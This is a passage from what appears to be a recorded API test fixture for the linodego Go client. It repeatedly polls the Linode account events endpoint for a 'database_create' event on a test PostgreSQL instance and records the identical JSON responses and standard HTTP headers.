"go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-03T07:23:50"},"entity.id":28215,"entity.type":"database","id":{"+gte":554719042}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 554719042, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-postgres-testing-def", "id": 28215, "type": "database", "url": "/v4/databases/postgresql/instances/28215"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "464" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY 